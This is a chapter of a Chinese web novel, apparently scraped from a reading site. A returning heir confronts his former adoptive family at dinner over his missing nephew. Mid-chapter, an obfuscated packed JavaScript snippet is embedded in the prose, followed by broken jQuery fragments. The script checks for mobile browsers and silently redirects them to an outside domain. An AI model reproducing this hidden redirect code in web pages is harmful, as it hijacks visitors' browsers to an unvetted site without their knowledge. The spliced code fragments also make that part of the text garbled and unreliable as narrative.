默认冷灰
24号文字
方正启体

16.16-争端

作者:陈烽火本书字数:K更新时间:
    傅承轩是个很狂妄的人,人有些性子是打娘胎里带的,改不了。他的狂妄像他爹,这点他也是后来才知道。


    正因他狂妄、傲气、不善低头,所以他打小就不招傅家至少一半的人喜欢,这点他心里清楚,却不在乎。


    那时的他觉得你们爱喜欢不喜欢我,跟我不相干,我也不靠你们过日子。


    如果傅家不留他,他就带着他娘的财物另谋出路,生死看天。


    如果傅家愿意留他,那有恩报恩、以心换心,谁对他好他就对谁好,天经地义。


    可惜后来他才知道,傅家真心待他的人满打满算也只有两个,一个是傅云珠,一个是傅念斐。


    傅家的养育之恩大多出自傅云珠身上,如今云珠姐没了,只剩小外甥,谁对傅念斐不好,谁就是跟他撕破脸。


    所以今天他必须让傅家知道,他傅承轩过去狂妄,现在更狂妄。过去心不狠,现在不仅心狠,手也黑。谁敢惹他,那只能算对方祖坟冒黑烟,倒了大霉。


    “东家,到了。”


    宁小六脊背微躬迅速拉开车门,傅承轩长腿一迈从那辆价值一万多银元的斯蒂庞克轿车上下来,抬眼瞥向傅家门楣。


    八年了。


    他当年趴着出去,如今站着回来,他倒是想看看,傅家到底是谁敢动小念斐和他云珠姐。


    “哎呦!承轩来啦!”


    傅家主离老远就摆出笑模样,起身抬手上前迎接:“前些日子我因云珠的事伤心难过,都没来得及细看你。多年不见变化真大,不过你这眉眼鼻梁和你娘太像,当年在邮轮上……”


    他张口就是感情牌,还想去拉傅承轩的手臂,宁小六眼疾手快一把挡住傅家主,笑眯眯道:“家主贵人多忘事,我们东家小时候挨过打,不习惯跟人离太近。”


    这话气得傅家主嘴角一抽,可他这回万万不能再骂傅承轩孽障了,只能苦笑:“承轩这是还怪义父呢?你也不想想,我若是真想把你怎么样,当年也不会带你回傅家。老太太生辰宴出了那种事,那么多双眼睛看着,我就是在气头上,所以才行的家法。那小戏子做贼心虚隔日便上吊了,我是为了把你摘出去才急三火四送你出国避难,谁承想遇上土匪了……”


    傅承轩看着傅家主没说话,他心说自己当年怎么就那么傻,没看出这家伙巧舌如簧呢?


    那小戏子隔日上吊,谁干的?引他去祠堂的可是傅家佣人,谁派的?我赎回我娘的怀表没多久就出了这档子事儿,你们到底是怕什么?


    傅家主被他盯得想冒虚汗,和适才被他质问的辛笃学竟有异曲同工之妙。


    傅承轩也并不打算在此时旧事重提,他对傅家主笑笑:“不是要吃饭吗?开席吧。”


    傅家主喜不自胜,只觉得傅承轩这是打算翻篇了,连忙招呼佣人:“开席开席!把我准备的好酒都拿上来!”


    饭厅正中是一张大圆桌。


    傅家主坐在主位,一侧是傅老太太、二太太、三太太这些女眷,另一侧则是傅承轩、傅承闲和辛笃学这些爷们儿。


    人丁寥落,若是紧凑点儿,估计连一桌都坐不满。


    落座之后,傅家主给傅承轩介绍他未曾见过的三姨太,和即将满周岁的傅家三爷傅承祖。


    “进月是前些年才纳进来的,没多久就有了承祖,唉,真是我们傅家的福星。”傅家主三十多年无所出,如今一举得子很是高兴,他爱怜地看向詹进月,显然十分宠爱。


    三太太柔柔一笑,说起话来不紧不慢:“也是缘分,我是个无爹娘侍奉的孤女,平时时常去庙里礼佛。那天我去庙中上香,跟老太太巧遇,多聊了几句。后来老太太邀我来傅家小住,没想到就这么嫁进来了。”


    傅家主温言软语:“佛祖眷顾把你赐给傅家,这才有了承祖。”


    三太太羞涩笑笑没说话,她抱着襁褓中的孩子哄着,清淡素雅的乔其纱旗袍收得腰身极细,该有的曲线却很丰盈,是很吸引男人的样子。


    二太太在旁边翻了个白眼:“那个什么威士忌,给我也倒一杯,白酒洋酒都是酒,我倒要尝尝这新鲜玩意到底有什么好滋味儿,能让你们这些爷们儿流连忘返。”


    三太太闻言连眼皮都没撩。


    二太太更生气了。


    即便是普通人家养了两只猫,猫都得分出个高下,赢的那个先得主人宠爱。然而傅承轩对这些没兴趣,他只关心一件事。


    “念斐呢?”傅承轩问。


    傅家主放下刚打算提一杯的手,连忙道:“哦,念斐那孩子不是跟你去杜会长的宴会了么,许是喝多了酒,回来就说不舒服,正睡着呢。我寻思着你们舅甥以后见面的时候多,念斐的身体更重要,就特许他不用参加,先好好休息。等明天,我让承闲送那孩子去你的公馆玩儿,承闲也是念斐的舅舅,你们往后多走动。云珠是个喜欢家庭和乐的人,知道你们相处和谐肯定高兴,念斐也会开心。”


    傅承闲在亲爹的瞪视下点点头:“对对,我明天亲自送念斐找你去,你要是有空的话,咱仨一起去听戏。”


    辛笃学干笑附和:“对,对,以后有的是时间见面,家庭和乐最好。”


    “不舒服?”傅承轩顿时蹙眉,“哪里不舒服?坐黄包车的时候着凉了?都什么症状?找大夫看过了吗?吃药了没有?现在快五点半了,他晚饭吃什么?”


    傅家主:……


    傅承闲:……


    辛笃学:……


    宁小六:看,我就知道。


    傅家主一时语塞,看向辛笃学:“你说。”


    辛笃学在傅家主面前毫无心理素质可言,他更是语塞,磕绊了一下才道:“不是着凉那么严重,就是小孩子第一次去宴会那种地方,有点贪吃,积食了犯恶心,一时缓不过来,闹到大早上才睡,现在还没醒呢,明天就好了。”


    他这话说完在场的男人不觉得有什么,傅家主还附和了一声说“对,不是大事儿,就是积食了”。


    女人们倒是奇怪地看了辛笃学一眼,没说话。


    傅承轩当场气笑了:“辛笃学,念斐是二十岁,不是两岁。积食闹到大早上才睡?他从十岁开始就没干过这事儿了,你这是逗我呢?”


    他来傅家那年十岁,傅念斐刚四岁,一年后两人渐渐熟稔,便开始睡在一起了。


    小时候的傅念斐的确贪吃,也经常积食,次次都是傅承轩陪他闹到后半夜一起入眠,就连促消化的山楂水都是傅承轩亲手熬的。


    因此傅承轩一听就明白了,辛笃学这是拿傅念斐小时候常犯的毛病诓他呢,可见辛笃学这个当爹的对亲儿子根本无甚了解。


    傅承轩面沉如水,浑身冒冷气,饭厅里的人从家主到佣人各个噤若寒蝉,因他的不怒自威吓得不轻。


    傅承轩偏头扫视宁小六:“让人回公馆叫李大夫过来,再去奉城医院请个西医,我今天倒是要看看,我外甥到底得了什么病。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300941|182603||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他说完这些便盯住辛笃学,一字一顿道:“既然请了大夫,傅家就得有病人,如果念斐没病,那病的就得是别人。”


    这是明晃晃的威胁。


    辛笃学气得手直抖。


    宁小六立刻应了,转身就走,速度快着呢,若是不及时叫住转瞬间就能奔出院门。


    此时傅家老太太似是看不下去了,她啪嗒一声放下手中的木筷,抬头对傅承轩道:“承轩,看在你给云珠换陪葬那天,我替你说过话的份儿上。即便你跟傅家不是血脉相连,到底是做过几年家人的,如果云珠本人在场,肯定也不愿你这样闹。”


    傅承轩看了对方半晌才露出一个笑容:“老太太,我就是看在云珠姐的面子上,才没往大了闹。”


    傅家主此时也看出点门道,他把酒杯咣当一撂怒瞪辛笃学:“你不是说念斐不舒服吗?难道这事儿有假?都是自家人有什么不能说的!说!给我说实话!”


    辛笃学吞咽唾沫,他一边庆幸儿子还算听话没乱跑,另一边脑筋急转道:“……唉,这事儿怪我,我原本没想说来着。这不是暑假么,念斐那日在宴会上玩活了心,今天一大早就跟同学约着郊游去了,说过几天才回来呢。”


    二太太闻言扬起眉毛:“我就说嘛,年轻孩子心性不定,不能过早接触玩乐,容易误正事。”


    她儿子傅承闲过去就这样,为了玩儿什么都能忘在脑后,缺席的宴会多了去了。


    辛笃学连连点头:“诶,是是,等念斐回来我一定教导他。”


    他自以为这借口找的好,让精明的二太太都信以为真,还能顺道息了傅承轩想面见傅念斐的心。


    然而作为今天下午才被临时通知回家吃饭的赘婿,辛笃学根本不清楚,家宴的时间是早就定好的。


    简直蠢材。


    于是傅家主更气了,恨不能眉毛都竖起来,毕竟傅承轩来吃饭的事儿是傅念斐亲口告诉他的。傅承闲也尴尬地张张嘴,但这是大房的事儿,他到底没吱声。


    傅承轩冷笑一声,灰蓝色的眸子冷沉如冰:“行,出去玩儿了?是跟哪个同学约好的?去哪玩儿了?玩什么去了?我实在想我外甥,今天必须见他,你说个地方,我这就派人去接。”


    辛笃学胸膛起伏,多年前被傅承轩殴打过的不忿一股脑爆发出来:“傅承轩!你今天跟我杠上了是吧!那是我儿子!我才是傅念斐的亲爹!无论他是吃积食了还是出去玩儿了!跟你一文钱关系都没有!”


    傅承轩“呵”一声根本懒得答,和辛笃学争辩他嫌自己掉价。


    他回首给了静待命令的宁小六一个眼神,宁小六头一点转身就走。


    傅宅的地形他们摸得很清楚,其中最清楚念斐小少爷的住处。人在不在傅宅,到底怎么回事儿,一探便知。


    辛笃学当即起身,指着傅承轩高声道:“你敢!擅闯傅家宅院!警察能抓你!”


    二太太作为警察局长的妹妹当即扬着脖子点头,她可不想傅家主以后唯傅承轩这个小子马首是瞻,否则她的承闲怎么办?


    傅家主先瞪二太太,再指辛笃学:“闭嘴!傅家没你说话的份儿!”


    他转头对傅承轩和颜悦色:“承轩呐,我寻个婆子去念斐那儿看一眼就行,病了就请大夫,若是真贪玩不在家,也就任他玩儿去,年轻人嘛,天天嚷嚷着自由进步,傅家是从不拘着他的,你放心。”


    傅承轩淡淡道:“若是再拦我,我就亲自去看。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)